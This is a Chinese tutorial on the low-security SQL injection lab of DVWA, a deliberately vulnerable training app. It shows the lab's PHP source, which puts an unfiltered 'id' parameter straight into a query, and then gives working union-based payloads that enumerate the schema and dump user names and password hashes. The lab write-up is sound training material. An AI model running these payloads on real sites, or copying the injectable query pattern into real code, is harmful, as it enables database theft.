zoukankan      html  css  js  c++  java
  • DVWA-7.1 SQL Injection(SQL注入)-Low

    Low Level

    查看源码

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?>

    可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

    漏洞利用

    现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

    1.判断是否存在注入,注入是字符型还是数字型

    输入1,查询成功:

     输入1’,返回SQL语法错误:

    输入1’or ‘2’=’2,查询成功:

    说明存在字符型注入。

    2.猜解SQL查询语句中的字段数

    输入1′ order by 1 #,查询成功:

    输入1′ order by 2 #,查询成功:

    输入1′ order by 3 #,查询失败:

     说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

    (这里也可以通过输入union select 1,2,3…来猜解字段数)

    3.确定显示的字段顺序

    输入1′ union select 1,2 #,查询成功:

    说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

    4.获取当前数据库

    输入1′ union select 1,database() #,查询成功:

    说明当前的数据库为dvwa。

    5.获取数据库中的表

    输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

    说明数据库dvwa中一共有两个表,guestbook与users。

    6.获取表中的字段名

    输入1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #,查询成功:

    说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

    7.获取数据

    输入1' union select 1,group_concat(user,0x3a,password) from users #,查询成功:

    这样就得到了users表中所有用户的user、password的数据。

    参考:https://www.freebuf.com/articles/web/120747.html

  • 相关阅读:
    linux 总结一下git reset的各个选项吧
    深入C++的new
    Android中binderDied()以及"Unknown binder error code" 出现的原因说明
    C/C++语言void及void指针深层探索
    Android 不通过USB数据线调试的方法
    Android Browser Gallery3D无法两指手势缩放
    Android eMMC Booting
    android基础知识13:AndroidManifest.xml文件解析
    Package sunjava6jdk is not available Ubuntu 10.04 LTS 安装sunjava6jdk ,出现错误
    SQL Server 2008中Service Broker基础应用(上)
  • 原文地址:https://www.cnblogs.com/zhengna/p/12766417.html
Copyright © 2011-2022 走看看